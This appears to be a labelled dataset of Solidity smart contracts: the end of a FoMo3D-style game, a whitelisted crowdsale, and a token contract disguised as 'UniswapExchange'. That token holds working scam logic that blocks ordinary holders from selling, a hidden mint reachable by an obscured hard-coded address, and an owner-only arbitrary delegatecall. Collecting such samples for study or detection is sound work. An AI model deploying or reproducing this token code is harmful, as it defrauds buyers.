* 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; FeeAddr.transfer(_com); uint256 _p3d; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { Divies.deposit.value(_p3d)(); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth.mul(2) / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( (msg.sender == 0xfc256291687150b9dB4502e721a9e6e98fd1FE93 || msg.sender == 0xfc256291687150b9dB4502e721a9e6e98fd1FE93), "only team HoDL4D can activate" ); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface JIincForwarderInterface { function deposit() external payable; function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
1
5,107
pragma solidity ^0.4.15; contract IWingsAdapter { function totalCollected() constant returns (uint); } contract IWhitelist { function authenticate(address _account) constant returns (bool); } contract ITokenRetreiver { function retreiveTokens(address _tokenContract); } contract Owned { address internal owner; function Owned() { owner = msg.sender; } modifier only_owner() { require(msg.sender == owner); _; } } contract IToken { function totalSupply() constant returns (uint); function balanceOf(address _owner) constant returns (uint); function transfer(address _to, uint _value) returns (bool); function transferFrom(address _from, address _to, uint _value) returns (bool); function approve(address _spender, uint _value) returns (bool); function allowance(address _owner, address _spender) constant returns (uint); } contract IManagedToken is IToken { function isLocked() constant returns (bool); function unlock() returns (bool); function issue(address _to, uint _value) returns (bool); } contract ICrowdsale { function isInPresalePhase() constant returns (bool); function hasBalance(address _beneficiary, uint _releaseDate) constant returns (bool); function balanceOf(address _owner) constant returns (uint); function ethBalanceOf(address _owner) constant returns (uint); function refundableEthBalanceOf(address _owner) constant returns (uint); function getRate(uint _phase, uint _volume) constant returns (uint); function toTokens(uint _wei, uint _rate) constant returns (uint); function withdrawTokens(); function withdrawEther(); function refund(); function () payable; } contract Crowdsale is ICrowdsale, Owned { enum Stages { Deploying, Deployed, InProgress, Ended } struct Balance { uint eth; uint tokens; uint index; } struct Percentage { uint eth; uint tokens; bool overwriteReleaseDate; uint fixedReleaseDate; uint index; } struct Payout { uint percentage; uint vestingPeriod; } struct Phase { uint rate; uint end; uint bonusReleaseDate; bool useVolumeMultiplier; } struct VolumeMultiplier { uint rateMultiplier; uint bonusReleaseDateMultiplier; } uint public baseRate; uint public minAmount; uint public maxAmount; uint public minAcceptedAmount; uint public minAmountPresale; uint public maxAmountPresale; uint public minAcceptedAmountPresale; address public beneficiary; uint internal percentageDenominator; uint internal tokenDenominator; uint public start; uint public presaleEnd; uint public crowdsaleEnd; uint public raised; uint public allocatedEth; uint public allocatedTokens; Stages public stage = Stages.Deploying; IManagedToken public token; mapping (address => uint) private balances; mapping (address => mapping(uint => Balance)) private allocated; mapping(address => uint[]) private allocatedIndex; mapping (address => Percentage) private stakeholderPercentages; address[] private stakeholderPercentagesIndex; Payout[] private stakeholdersPayouts; Phase[] private phases; mapping (uint => VolumeMultiplier) private volumeMultipliers; uint[] private volumeMultiplierThresholds; modifier at_stage(Stages _stage) { require(stage == _stage); _; } modifier only_after(uint _time) { require(now > crowdsaleEnd + _time); _; } modifier only_after_crowdsale() { require(now > crowdsaleEnd); _; } modifier only_beneficiary() { require(beneficiary == msg.sender); _; } function isAcceptedContributor(address _contributor) internal constant returns (bool); function Crowdsale(uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale) { token = IManagedToken(_token); tokenDenominator = _tokenDenominator; percentageDenominator = _percentageDenominator; start = _start; minAmount = _minAmount; maxAmount = _maxAmount; minAcceptedAmount = _minAcceptedAmount; minAmountPresale = _minAmountPresale; maxAmountPresale = _maxAmountPresale; minAcceptedAmountPresale = _minAcceptedAmountPresale; } function setupPhases(uint _baseRate, uint[] _phaseRates, uint[] _phasePeriods, uint[] _phaseBonusLockupPeriods, bool[] _phaseUsesVolumeMultiplier) public only_owner at_stage(Stages.Deploying) { baseRate = _baseRate; presaleEnd = start + _phasePeriods[0]; crowdsaleEnd = start; for (uint i = 0; i < _phaseRates.length; i++) { crowdsaleEnd += _phasePeriods[i]; phases.push(Phase(_phaseRates[i], crowdsaleEnd, 0, _phaseUsesVolumeMultiplier[i])); } for (uint ii = 0; ii < _phaseRates.length; ii++) { if (_phaseBonusLockupPeriods[ii] > 0) { phases[ii].bonusReleaseDate = crowdsaleEnd + _phaseBonusLockupPeriods[ii]; } } } function setupStakeholders(address[] _stakeholders, uint[] _stakeholderEthPercentages, uint[] _stakeholderTokenPercentages, bool[] _stakeholderTokenPayoutOverwriteReleaseDates, uint[] _stakeholderTokenPayoutFixedReleaseDates, uint[] _stakeholderTokenPayoutPercentages, uint[] _stakeholderTokenPayoutVestingPeriods) public only_owner at_stage(Stages.Deploying) { beneficiary = _stakeholders[0]; for (uint i = 0; i < _stakeholders.length; i++) { stakeholderPercentagesIndex.push(_stakeholders[i]); stakeholderPercentages[_stakeholders[i]] = Percentage( _stakeholderEthPercentages[i], _stakeholderTokenPercentages[i], _stakeholderTokenPayoutOverwriteReleaseDates[i], _stakeholderTokenPayoutFixedReleaseDates[i], i); } for (uint ii = 0; ii < _stakeholderTokenPayoutPercentages.length; ii++) { stakeholdersPayouts.push(Payout(_stakeholderTokenPayoutPercentages[ii], _stakeholderTokenPayoutVestingPeriods[ii])); } } function setupVolumeMultipliers(uint[] _volumeMultiplierRates, uint[] _volumeMultiplierLockupPeriods, uint[] _volumeMultiplierThresholds) public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); volumeMultiplierThresholds = _volumeMultiplierThresholds; for (uint i = 0; i < volumeMultiplierThresholds.length; i++) { volumeMultipliers[volumeMultiplierThresholds[i]] = VolumeMultiplier(_volumeMultiplierRates[i], _volumeMultiplierLockupPeriods[i]); } } function deploy() public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); require(stakeholderPercentagesIndex.length > 0); stage = Stages.Deployed; } function confirmBeneficiary() public only_beneficiary at_stage(Stages.Deployed) { stage = Stages.InProgress; } function isInPresalePhase() public constant returns (bool) { return stage == Stages.InProgress && now >= start && now <= presaleEnd; } function hasBalance(address _beneficiary, uint _releaseDate) public constant returns (bool) { return allocatedIndex[_beneficiary].length > 0 && _releaseDate == allocatedIndex[_beneficiary][allocated[_beneficiary][_releaseDate].index]; } function balanceOf(address _owner) public constant returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].tokens; } return sum; } function ethBalanceOf(address _owner) public constant returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].eth; } return sum; } function refundableEthBalanceOf(address _owner) public constant returns (uint) { return now > crowdsaleEnd && raised < minAmount ? balances[_owner] : 0; } function getCurrentPhase() public constant returns (uint found) { for (uint i = 0; i < phases.length; i++) { if (now <= phases[i].end) { return i; break; } } return phases.length; } function getRate(uint _phase, uint _volume) public constant returns (uint) { uint rate = 0; if (stage == Stages.InProgress && now >= start) { Phase storage phase = phases[_phase]; rate = phase.rate; if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; rate += phase.rate * multiplier.rateMultiplier / percentageDenominator; break; } } } } return rate; } function getDistributionData(uint _phase, uint _volume) internal constant returns (uint[], uint[]) { Phase storage phase = phases[_phase]; uint remainingVolume = _volume; bool usingMultiplier = false; uint[] memory volumes = new uint[](1); uint[] memory releaseDates = new uint[](1); if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { uint phaseReleasePeriod = phase.bonusReleaseDate - crowdsaleEnd; for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { if (!usingMultiplier) { volumes = new uint[](i + 1); releaseDates = new uint[](i + 1); usingMultiplier = true; } VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; uint releaseDate = phase.bonusReleaseDate + phaseReleasePeriod * multiplier.bonusReleaseDateMultiplier / percentageDenominator; uint volume = remainingVolume - volumeMultiplierThresholds[i - 1]; volumes[i] = volume; releaseDates[i] = releaseDate; remainingVolume -= volume; } } } volumes[0] = remainingVolume; releaseDates[0] = phase.bonusReleaseDate; return (volumes, releaseDates); } function toTokens(uint _wei, uint _rate) public constant returns (uint) { return _wei * _rate * tokenDenominator / 1 ether; } function endCrowdsale() public at_stage(Stages.InProgress) { require(now > crowdsaleEnd || raised >= maxAmount); require(raised >= minAmount); stage = Stages.Ended; if (!token.unlock()) { revert(); } uint totalTokenSupply = token.totalSupply() + allocatedTokens; for (uint i = 0; i < stakeholdersPayouts.length; i++) { Payout storage p = stakeholdersPayouts[i]; _allocateStakeholdersTokens(totalTokenSupply * p.percentage / percentageDenominator, now + p.vestingPeriod); } _allocateStakeholdersEth(this.balance - allocatedEth, 0); } function withdrawTokens() public { uint tokensToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; tokensToSend += b.tokens; b.tokens = 0; } } if (tokensToSend > 0) { allocatedTokens -= tokensToSend; if (!token.issue(msg.sender, tokensToSend)) { revert(); } } } function withdrawEther() public { uint ethToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; ethToSend += b.eth; b.eth = 0; } } if (ethToSend > 0) { allocatedEth -= ethToSend; if (!msg.sender.send(ethToSend)) { revert(); } } } function refund() public only_after_crowdsale at_stage(Stages.InProgress) { require(raised < minAmount); uint receivedAmount = balances[msg.sender]; balances[msg.sender] = 0; if (receivedAmount > 0 && !msg.sender.send(receivedAmount)) { balances[msg.sender] = receivedAmount; } } function destroy() public only_beneficiary only_after(2 years) { selfdestruct(beneficiary); } function contribute() public payable { _handleTransaction(msg.sender, msg.value); } function () payable { require(msg.sender == tx.origin); _handleTransaction(msg.sender, msg.value); } function _handleTransaction(address _sender, uint _received) private at_stage(Stages.InProgress) { require(now >= start && now <= crowdsaleEnd); require(isAcceptedContributor(_sender)); bool presalePhase = isInPresalePhase(); require(!presalePhase || _received >= minAcceptedAmountPresale); require(!presalePhase || raised < maxAmountPresale); require(presalePhase || _received >= minAcceptedAmount); require(presalePhase || raised >= minAmountPresale); require(presalePhase || raised < maxAmount); uint acceptedAmount; if (presalePhase && raised + _received > maxAmountPresale) { acceptedAmount = maxAmountPresale - raised; } else if (raised + _received > maxAmount) { acceptedAmount = maxAmount - raised; } else { acceptedAmount = _received; } raised += acceptedAmount; if (presalePhase) { _allocateStakeholdersEth(acceptedAmount, 0); } else { balances[_sender] += acceptedAmount; } uint tokensToIssue = 0; uint phase = getCurrentPhase(); var rate = getRate(phase, acceptedAmount); var (volumes, releaseDates) = getDistributionData(phase, acceptedAmount); for (uint i = 0; i < volumes.length; i++) { var tokensAtCurrentRate = toTokens(volumes[i], rate); if (rate > baseRate && releaseDates[i] > now) { uint bonusTokens = tokensAtCurrentRate / rate * (rate - baseRate); _allocateTokens(_sender, bonusTokens, releaseDates[i]); tokensToIssue += tokensAtCurrentRate - bonusTokens; } else { tokensToIssue += tokensAtCurrentRate; } } if (tokensToIssue > 0 && !token.issue(_sender, tokensToIssue)) { revert(); } if (_received - acceptedAmount > 0 && !_sender.send(_received - acceptedAmount)) { revert(); } } function _allocateEth(address _beneficiary, uint _amount, uint _releaseDate) private { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].eth += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( _amount, 0, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedEth += _amount; } function _allocateTokens(address _beneficiary, uint _amount, uint _releaseDate) private { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].tokens += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( 0, _amount, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedTokens += _amount; } function _allocateStakeholdersEth(uint _amount, uint _releaseDate) private { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.eth > 0) { _allocateEth(stakeholderPercentagesIndex[i], _amount * p.eth / percentageDenominator, _releaseDate); } } } function _allocateStakeholdersTokens(uint _amount, uint _releaseDate) private { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.tokens > 0) { _allocateTokens( stakeholderPercentagesIndex[i], _amount * p.tokens / percentageDenominator, p.overwriteReleaseDate ? p.fixedReleaseDate : _releaseDate); } } } } contract GLACrowdsale is Crowdsale, ITokenRetreiver, IWingsAdapter { IWhitelist private whitelist; function GLACrowdsale(address _whitelist, uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale) Crowdsale(_start, _token, _tokenDenominator, _percentageDenominator, _minAmount, _maxAmount, _minAcceptedAmount, _minAmountPresale, _maxAmountPresale, _minAcceptedAmountPresale) { whitelist = IWhitelist(_whitelist); } function totalCollected() public constant returns (uint) { return raised; } function isAcceptedContributor(address _contributor) internal constant returns (bool) { return whitelist.authenticate(_contributor); } function retreiveTokens(address _tokenContract) public only_beneficiary { IToken tokenInstance = IToken(_tokenContract); ITokenRetreiver(token).retreiveTokens(_tokenContract); uint tokenBalance = tokenInstance.balanceOf(this); if (tokenBalance > 0) { tokenInstance.transfer(beneficiary, tokenBalance); } } }
1
4,003
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,697
